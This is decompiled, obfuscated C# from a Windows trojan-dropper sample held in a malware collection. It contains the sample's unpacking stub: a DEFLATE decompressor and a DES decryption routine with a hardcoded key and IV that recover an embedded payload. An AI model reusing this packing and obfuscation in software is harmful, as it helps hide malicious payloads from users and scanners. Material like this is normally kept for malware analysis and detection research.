// Decompiled with JetBrains decompiler // Type: . // Assembly: AudioHD, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: A79492AA-5FAA-4ED2-ACC6-3D90AD665D99 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Dropper.Win32.Sysn.awyx-36fae8d04bf5f7d873dd5aa10ad92403f80b9af8b6ef91319e70ea2c9c043024.exe using \u0001; using System; using System.IO; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Security.Cryptography; namespace \u0001 { internal sealed class \u0007 { public static byte[] \u000F([In] byte[] obj0) { \u0007.\u0007 obj1 = new \u0007.\u0007(obj0); byte[] numArray1 = new byte[0]; int num1 = obj1.\u0010(); if (num1 == 67324752) { short num2 = (short) obj1.\u000F(); int num3 = obj1.\u000F(); int num4 = obj1.\u000F(); if (num1 != 67324752 || num2 != (short) 20 || num3 != 0 || num4 != 8) throw new FormatException("Wrong Header Signature"); obj1.\u0010(); obj1.\u0010(); obj1.\u0010(); int length = obj1.\u0010(); int count1 = obj1.\u000F(); int count2 = obj1.\u000F(); if (count1 > 0) { byte[] buffer = new byte[count1]; obj1.Read(buffer, 0, count1); } if (count2 > 0) { byte[] buffer = new byte[count2]; obj1.Read(buffer, 0, count2); } byte[] buffer1 = new byte[obj1.Length - obj1.Position]; obj1.Read(buffer1, 0, buffer1.Length); \u0007.\u0001 obj2 = new \u0007.\u0001(buffer1); numArray1 = new byte[length]; obj2.\u000F(numArray1, 0, numArray1.Length); } else { int num5 = num1 >> 24; if (num1 - (num5 << 24) != 8223355) throw new FormatException("Unknown Header"); if (num5 == 1) { int length1 = obj1.\u0010(); numArray1 = new byte[length1]; int num6; for (int index = 0; index < length1; index += num6) { int length2 = obj1.\u0010(); num6 = obj1.\u0010(); byte[] buffer = new byte[length2]; obj1.Read(buffer, 0, buffer.Length); new \u0007.\u0001(buffer).\u000F(numArray1, index, num6); } } if (num5 == 2) { DESCryptoServiceProvider cryptoServiceProvider = new DESCryptoServiceProvider(); cryptoServiceProvider.Key = new byte[8] { (byte) 145, (byte) 106, (byte) 11, (byte) 203, (byte) 243, (byte) 138, (byte) 176, (byte) 110 }; cryptoServiceProvider.IV = new byte[8] { (byte) 32, (byte) 237, (byte) 129, (byte) 4, (byte) 23, (byte) 251, (byte) 188, (byte) 51 }; byte[] numArray2 = cryptoServiceProvider.CreateDecryptor().TransformFinalBlock(obj0, 4, obj0.Length - 4); cryptoServiceProvider.Clear(); numArray1 = \u0007.\u000F(numArray2); } } obj1.Close(); return numArray1; } internal sealed class \u0001 { private static int[] \u0001 = new int[29] { 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 15, 17, 19, 23, 27, 31, 35, 43, 51, 59, 67, 83, 99, 115, 131, 163, 195, 227, 258 }; private static int[] \u0002 = new int[29] { 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 0 }; private static int[] \u0003 = new int[30] { 1, 2, 3, 4, 5, 7, 9, 13, 17, 25, 33, 49, 65, 97, 129, 193, 257, 385, 513, 769, 1025, 1537, 2049, 3073, 4097, 6145, 8193, 12289, 16385, 24577 }; private static int[] \u0004 = new int[30] { 0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, 9, 9, 10, 10, 11, 11, 12, 12, 13, 13 }; private int \u0001; private int \u0002; private int \u0003; private int \u0004; private int \u0005; private bool \u0001; private \u0007.\u0002 \u0001; private \u0007.\u0003 \u0001; private \u0007.\u0005 \u0001; private \u0007.\u0004 \u0001; private \u0007.\u0004 \u0002; public \u0001([In] byte[] obj0) { this.\u0001 = new \u0007.\u0002(); this.\u0001 = new \u0007.\u0003(); this.\u0001 = 2; this.\u0001.\u000F(obj0, 0, obj0.Length); } private bool \u000F() { int num1 = this.\u0001.\u000F(); while (num1 >= 258) { switch (this.\u0001) { case 7: int num2; while (((num2 = this.\u0001.\u000F(this.\u0001)) & -256) == 0) { this.\u0001.\u000F(num2); if (--num1 < 258) return true; } if (num2 < 257) { if (num2 < 0) return false; this.\u0002 = (\u0007.\u0004) null; this.\u0001 = (\u0007.\u0004) null; this.\u0001 = 2; return true; } this.\u0003 = \u0007.\u0001.\u0001[num2 - 257]; this.\u0002 = \u0007.\u0001.\u0002[num2 - 257]; goto case 8; case 8: if (this.\u0002 > 0) { this.\u0001 = 8; int num3 = this.\u0001.\u000F(this.\u0002); if (num3 < 0) return false; this.\u0001.\u000F(this.\u0002); this.\u0003 += num3; } this.\u0001 = 9; goto case 9; case 9: int index = this.\u0002.\u000F(this.\u0001); if (index < 0) return false; this.\u0004 = \u0007.\u0001.\u0003[index]; this.\u0002 = \u0007.\u0001.\u0004[index]; goto case 10; case 10: if (this.\u0002 > 0) { this.\u0001 = 10; int num4 = this.\u0001.\u000F(this.\u0002); if (num4 < 0) return false; this.\u0001.\u000F(this.\u0002); this.\u0004 += num4; } this.\u0001.\u000F(this.\u0003, this.\u0004); num1 -= this.\u0003; this.\u0001 = 7; continue; default: continue; } } return true; } private bool \u0010() { switch (this.\u0001) { case 2: if (this.\u0001) { this.\u0001 = 12; return false; } int num = this.\u0001.\u000F(3); if (num < 0) return false; this.\u0001.\u000F(3); if ((num & 1) != 0) this.\u0001 = true; switch (num >> 1) { case 0: this.\u0001.\u000F(); this.\u0001 = 3; break; case 1: this.\u0001 = \u0007.\u0004.\u0001; this.\u0002 = \u0007.\u0004.\u0002; this.\u0001 = 7; break; case 2: this.\u0001 = new \u0007.\u0005(); this.\u0001 = 6; break; } return true; case 3: if ((this.\u0005 = this.\u0001.\u000F(16)) < 0) return false; this.\u0001.\u000F(16); this.\u0001 = 4; goto case 4; case 4: if (this.\u0001.\u000F(16) < 0) return false; this.\u0001.\u000F(16); this.\u0001 = 5; goto case 5; case 5: this.\u0005 -= this.\u0001.\u000F(this.\u0001, this.\u0005); if (this.\u0005 != 0) return !this.\u0001.\u000F(); this.\u0001 = 2; return true; case 6: if (!this.\u0001.\u000F(this.\u0001)) return false; this.\u0001 = this.\u0001.\u000F(); this.\u0002 = this.\u0001.\u0010(); this.\u0001 = 7; goto case 7; case 7: case 8: case 9: case 10: return this.\u000F(); case 12: return false; default: return false; } } public int \u000F([In] byte[] obj0, [In] int obj1, [In] int obj2) { int num1 = 0; do { if (this.\u0001 != 11) goto label_5; label_2: continue; label_5: int num2 = this.\u0001.\u000F(obj0, obj1, obj2); obj1 += num2; num1 += num2; obj2 -= num2; if (obj2 != 0) goto label_2; else goto label_1; } while (this.\u0010() || this.\u0001.\u0010() > 0 && this.\u0001 != 11); goto label_3; label_1: return num1; label_3: return num1; } } internal sealed class \u0002 { private byte[] \u0001; private int \u0001; private int \u0002; private uint \u0001; private int \u0003; public int \u000F([In] int obj0) { if (this.\u0003 < obj0) goto label_4; label_3: return (int) ((long) this.\u0001 & (long) ((1 << obj0) - 1)); label_4: if (this.\u0001 == this.\u0002) return -1; this.\u0001 |= (uint) (((int) this.\u0001[this.\u0001++] & (int) byte.MaxValue | ((int) this.\u0001[this.\u0001++] & (int) byte.MaxValue) << 8) << this.\u0003); this.\u0003 += 16; goto label_3; } public void \u000F([In] int obj0) { this.\u0001 >>= obj0; this.\u0003 -= obj0; } [SpecialName] public int \u000F() => this.\u0003; [SpecialName] public int \u0010() => this.\u0002 - this.\u0001 + (this.\u0003 >> 3); public void \u000F() { this.\u0001 >>= this.\u0003 & 7; this.\u0003 &= -8; } [SpecialName] public bool \u000F() => this.\u0001 == this.\u0002; public int \u000F([In] byte[] obj0, [In] int obj1, [In] int obj2) { int num1 = 0; while (this.\u0003 > 0 && obj2 > 0) { obj0[obj1++] = (byte) this.\u0001; this.\u0001 >>= 8; this.\u0003 -= 8; --obj2; ++num1; } if (obj2 == 0) return num1; int num2 = this.\u0002 - this.\u0001; if (obj2 > num2) obj2 = num2; Array.Copy((Array) this.\u0001, this.\u0001, (Array) obj0, obj1, obj2); this.\u0001 += obj2; if ((this.\u0001 - this.\u0002 & 1) != 0) { this.\u0001 = (uint) this.\u0001[this.\u0001++] & (uint) byte.MaxValue; this.\u0003 = 8; } return num1 + obj2; } public void \u000F([In] byte[] obj0, [In] int obj1, [In] int obj2) { if (this.\u0001 < this.\u0002) throw new InvalidOperationException(); int num = obj1 + obj2; if (0 > obj1 || obj1 > num || num > obj0.Length) throw new ArgumentOutOfRangeException(); if ((obj2 & 1) != 0) { this.\u0001 |= (uint) (((int) obj0[obj1++] & (int) byte.MaxValue) << this.\u0003); this.\u0003 += 8; } this.\u0001 = obj0; this.\u0001 = obj1; this.\u0002 = num; } } internal sealed class \u0003 { private static int \u0001 = 32768; private static int \u0002 = \u0007.\u0003.\u0001 - 1; private byte[] \u0001 = new byte[\u0007.\u0003.\u0001]; private int \u0003; private int \u0004; public void \u000F([In] int obj0) { \u0007.\u0003 obj = this; int num1; int num2 = num1 = obj.\u0004; obj.\u0004 = num1 + 1; if (num2 == \u0007.\u0003.\u0001) throw new InvalidOperationException(); this.\u0001[this.\u0003++] = (byte) obj0; this.\u0003 &= \u0007.\u0003.\u0002; } private void \u000F([In] int obj0, [In] int obj1, [In] int obj2) { while (obj1-- > 0) { byte[] numArray = this.\u0001; \u0007.\u0003 obj = this; int num1; int num2 = num1 = obj.\u0003; obj.\u0003 = num1 + 1; int index = num2; int num3 = (int) this.\u0001[obj0++]; numArray[index] = (byte) num3; this.\u0003 &= \u0007.\u0003.\u0002; obj0 &= \u0007.\u0003.\u0002; } } public void \u000F([In] int obj0, [In] int obj1) { if ((this.\u0004 += obj0) > \u0007.\u0003.\u0001) throw new InvalidOperationException(); int sourceIndex = this.\u0003 - obj1 & \u0007.\u0003.\u0002; int num = \u0007.\u0003.\u0001 - obj0; if (sourceIndex <= num && this.\u0003 < num) { if (obj0 <= obj1) { Array.Copy((Array) this.\u0001, sourceIndex, (Array) this.\u0001, this.\u0003, obj0); this.\u0003 += obj0; } else { while (obj0-- > 0) this.\u0001[this.\u0003++] = this.\u0001[sourceIndex++]; } } else this.\u000F(sourceIndex, obj0, obj1); } public int \u000F([In] \u0007.\u0002 obj0, [In] int obj1) { obj1 = Math.Min(Math.Min(obj1, \u0007.\u0003.\u0001 - this.\u0004), obj0.\u0010()); int num1 = \u0007.\u0003.\u0001 - this.\u0003; int num2; if (obj1 > num1) { num2 = obj0.\u000F(this.\u0001, this.\u0003, num1); if (num2 == num1) num2 += obj0.\u000F(this.\u0001, 0, obj1 - num1); } else num2 = obj0.\u000F(this.\u0001, this.\u0003, obj1); this.\u0003 = this.\u0003 + num2 & \u0007.\u0003.\u0002; this.\u0004 += num2; return num2; } public int \u000F() => \u0007.\u0003.\u0001 - this.\u0004; public int \u0010() => this.\u0004; public int \u000F([In] byte[] obj0, [In] int obj1, [In] int obj2) { int num1 = this.\u0003; if (obj2 > this.\u0004) obj2 = this.\u0004; else num1 = this.\u0003 - this.\u0004 + obj2 & \u0007.\u0003.\u0002; int num2 = obj2; int length = obj2 - num1; if (length > 0) { Array.Copy((Array) this.\u0001, \u0007.\u0003.\u0001 - length, (Array) obj0, obj1, length); obj1 += length; obj2 = num1; } Array.Copy((Array) this.\u0001, num1 - obj2, (Array) obj0, obj1, obj2); this.\u0004 -= num2; if (this.\u0004 < 0) throw new InvalidOperationException(); return num2; } } internal sealed class \u0004 { private static int \u0001 = 15; private short[] \u0001; public static \u0007.\u0004 \u0001; public static \u0007.\u0004 \u0002; static \u0004() { byte[] numArray1 = new byte[288]; int num1 = 0; while (num1 < 144) numArray1[num1++] = (byte) 8; while (num1 < 256) numArray1[num1++] = (byte) 9; while (num1 < 280) numArray1[num1++] = (byte) 7; while (num1 < 288) numArray1[num1++] = (byte) 8; \u0007.\u0004.\u0001 = new \u0007.\u0004(numArray1); byte[] numArray2 = new byte[32]; int num2 = 0; while (num2 < 32) numArray2[num2++] = (byte) 5; \u0007.\u0004.\u0002 = new \u0007.\u0004(numArray2); } public \u0004([In] byte[] obj0) => this.\u000F(obj0); private void \u000F([In] byte[] obj0) { int[] numArray1 = new int[\u0007.\u0004.\u0001 + 1]; int[] numArray2 = new int[\u0007.\u0004.\u0001 + 1]; for (int index1 = 0; index1 < obj0.Length; ++index1) { int index2 = (int) obj0[index1]; if (index2 > 0) ++numArray1[index2]; } int num1 = 0; int length = 512; for (int index = 1; index <= \u0007.\u0004.\u0001; ++index) { numArray2[index] = num1; num1 += numArray1[index] << 16 - index; if (index >= 10) { int num2 = numArray2[index] & 130944; int num3 = num1 & 130944; length += num3 - num2 >> 16 - index; } } this.\u0001 = new short[length]; int num4 = 512; for (int index3 = \u0007.\u0004.\u0001; index3 >= 10; --index3) { int num5 = num1 & 130944; num1 -= numArray1[index3] << 16 - index3; for (int index4 = num1 & 130944; index4 < num5; index4 += 128) { this.\u0001[(int) \u0007.\u0006.\u000F(index4)] = (short) (-num4 << 4 | index3); num4 += 1 << index3 - 9; } } for (int index5 = 0; index5 < obj0.Length; ++index5) { int index6 = (int) obj0[index5]; if (index6 != 0) { int num6 = numArray2[index6]; int index7 = (int) \u0007.\u0006.\u000F(num6); if (index6 <= 9) { do { this.\u0001[index7] = (short) (index5 << 4 | index6); index7 += 1 << index6; } while (index7 < 512); } else { int num7 = (int) this.\u0001[index7 & 511]; int num8 = 1 << (num7 & 15); int num9 = -(num7 >> 4); do { this.\u0001[num9 | index7 >> 9] = (short) (index5 << 4 | index6); index7 += 1 << index6; } while (index7 < num8); } numArray2[index6] = num6 + (1 << 16 - index6); } } } public int \u000F([In] \u0007.\u0002 obj0) { int index; if ((index = obj0.\u000F(9)) >= 0) { int num1; if ((num1 = (int) this.\u0001[index]) >= 0) { obj0.\u000F(num1 & 15); return num1 >> 4; } int num2 = -(num1 >> 4); int num3 = num1 & 15; int num4; if ((num4 = obj0.\u000F(num3)) >= 0) { int num5 = (int) this.\u0001[num2 | num4 >> 9]; obj0.\u000F(num5 & 15); return num5 >> 4; } int num6 = obj0.\u000F(); int num7 = obj0.\u000F(num6); int num8 = (int) this.\u0001[num2 | num7 >> 9]; if ((num8 & 15) > num6) return -1; obj0.\u000F(num8 & 15); return num8 >> 4; } int num9 = obj0.\u000F(); int num10 = (int) this.\u0001[obj0.\u000F(num9)]; if (num10 < 0 || (num10 & 15) > num9) return -1; obj0.\u000F(num10 & 15); return num10 >> 4; } } internal sealed class \u0005 { private static readonly int[] \u0001 = new int[3] { 3, 3, 11 }; private static readonly int[] \u0002 = new int[3] { 2, 3, 7 }; private byte[] \u0001; private byte[] \u0002; private \u0007.\u0004 \u0001; private int \u0001; private int \u0002; private int \u0003; private int \u0004; private int \u0005; private int \u0006; private byte \u0001; private int \u0007; private static readonly int[] \u0003 = new int[19] { 16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15 }; public bool \u000F([In] \u0007.\u0002 obj0) { while (true) { switch (this.\u0001) { case 0: this.\u0002 = obj0.\u000F(5); if (this.\u0002 >= 0) { this.\u0002 += 257; obj0.\u000F(5); this.\u0001 = 1; goto case 1; } else goto label_2; case 1: this.\u0003 = obj0.\u000F(5); if (this.\u0003 >= 0) { ++this.\u0003; obj0.\u000F(5); this.\u0005 = this.\u0002 + this.\u0003; this.\u0002 = new byte[this.\u0005]; this.\u0001 = 2; goto case 2; } else goto label_5; case 2: this.\u0004 = obj0.\u000F(4); if (this.\u0004 >= 0) { this.\u0004 += 4; obj0.\u000F(4); this.\u0001 = new byte[19]; this.\u0007 = 0; this.\u0001 = 3; goto case 3; } else goto label_8; case 3: for (; this.\u0007 < this.\u0004; ++this.\u0007) { int num = obj0.\u000F(3); if (num < 0) return false; obj0.\u000F(3); this.\u0001[\u0007.\u0005.\u0003[this.\u0007]] = (byte) num; } this.\u0001 = new \u0007.\u0004(this.\u0001); this.\u0001 = (byte[]) null; this.\u0007 = 0; this.\u0001 = 4; goto case 4; case 4: int num1; while (((num1 = this.\u0001.\u000F(obj0)) & -16) == 0) { this.\u0002[this.\u0007++] = this.\u0001 = (byte) num1; if (this.\u0007 == this.\u0005) return true; } if (num1 >= 0) { if (num1 >= 17) this.\u0001 = (byte) 0; this.\u0006 = num1 - 16; this.\u0001 = 5; goto case 5; } else goto label_19; case 5: int num2 = \u0007.\u0005.\u0002[this.\u0006]; int num3 = obj0.\u000F(num2); if (num3 >= 0) { obj0.\u000F(num2); int num4 = num3 + \u0007.\u0005.\u0001[this.\u0006]; while (num4-- > 0) this.\u0002[this.\u0007++] = this.\u0001; if (this.\u0007 != this.\u0005) { this.\u0001 = 4; continue; } goto label_29; } else goto label_24; default: continue; } } label_2: return false; label_5: return false; label_8: return false; label_19: return false; label_24: return false; label_29: return true; } public \u0007.\u0004 \u000F() { byte[] destinationArray = new byte[this.\u0002]; Array.Copy((Array) this.\u0002, 0, (Array) destinationArray, 0, this.\u0002); return new \u0007.\u0004(destinationArray); } public \u0007.\u0004 \u0010() { byte[] destinationArray = new byte[this.\u0003]; Array.Copy((Array) this.\u0002, this.\u0002, (Array) destinationArray, 0, this.\u0003); return new \u0007.\u0004(destinationArray); } } internal sealed class \u0006 { private static int \u0001 = 16384; private static int \u0002 = 286; private static int \u0003 = 30; private static int \u0004 = 19; private static int \u0005 = 16; private static int \u0006 = 17; private static int \u0007 = 18; private static int \u0008 = 256; private static int[] \u0001 = new int[19] { 16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15 }; private static byte[] \u0001 = new byte[16] { (byte) 0, (byte) 8, (byte) 4, (byte) 12, (byte) 2, (byte) 10, (byte) 6, (byte) 14, (byte) 1, (byte) 9, (byte) 5, (byte) 13, (byte) 3, (byte) 11, (byte) 7, (byte) 15 }; private static short[] \u0001 = new short[\u0007.\u0006.\u0002]; private static byte[] \u0002 = new byte[\u0007.\u0006.\u0002]; private static short[] \u0002; private static byte[] \u0003; public static short \u000F([In] int obj0) => (short) ((int) \u0007.\u0006.\u0001[obj0 & 15] << 12 | (int) \u0007.\u0006.\u0001[obj0 >> 4 & 15] << 8 | (int) \u0007.\u0006.\u0001[obj0 >> 8 & 15] << 4 | (int) \u0007.\u0006.\u0001[obj0 >> 12]); static \u0006() { int index1; for (index1 = 0; index1 < 144; \u0007.\u0006.\u0002[index1++] = (byte) 8) \u0007.\u0006.\u0001[index1] = \u0007.\u0006.\u000F(48 + index1 << 8); for (; index1 < 256; \u0007.\u0006.\u0002[index1++] = (byte) 9) \u0007.\u0006.\u0001[index1] = \u0007.\u0006.\u000F(256 + index1 << 7); for (; index1 < 280; \u0007.\u0006.\u0002[index1++] = (byte) 7) \u0007.\u0006.\u0001[index1] = \u0007.\u0006.\u000F(index1 - 256 << 9); for (; index1 < \u0007.\u0006.\u0002; \u0007.\u0006.\u0002[index1++] = (byte) 8) \u0007.\u0006.\u0001[index1] = \u0007.\u0006.\u000F(index1 - 88 << 8); \u0007.\u0006.\u0002 = new short[\u0007.\u0006.\u0003]; \u0007.\u0006.\u0003 = new byte[\u0007.\u0006.\u0003]; for (int index2 = 0; index2 < \u0007.\u0006.\u0003; ++index2) { \u0007.\u0006.\u0002[index2] = \u0007.\u0006.\u000F(index2 << 11); \u0007.\u0006.\u0003[index2] = (byte) 5; } } } internal sealed class \u0007 : MemoryStream { public int \u000F() => this.ReadByte() | this.ReadByte() << 8; public int \u0010() => this.\u000F() | this.\u000F() << 16; public \u0007([In] byte[] obj0) : base(obj0, false) { } } } }